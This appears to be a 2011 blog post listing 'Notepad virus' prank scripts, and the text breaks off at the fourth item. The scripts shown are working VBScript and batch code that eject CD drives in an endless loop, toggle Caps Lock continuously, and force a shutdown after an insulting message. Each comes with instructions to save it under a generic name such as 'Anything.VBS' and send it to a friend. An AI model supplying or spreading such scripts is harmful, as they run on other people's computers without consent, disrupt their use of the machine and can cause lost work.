Skip to main content

Posts

Showing posts from September 30, 2011

The 10 Notepad Virus Script....

1)Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them! Type : Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop Save it as "Anything.VBS" and send it. 2) Toggle your friend's Caps Lock button simultaneously: Type : Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop Save it as "Anything.VBS" and send it. 3) Convey your friend a lil' message and shut down his / her computer: Type : @echo off msg * I don't like you shutdown -c "Error! You are too stupid!" -s Save it as "Anything.BAT" in All Files and send it. 4) Frustrate your friend by making this VBScript hit Enter simultaneously: Typ...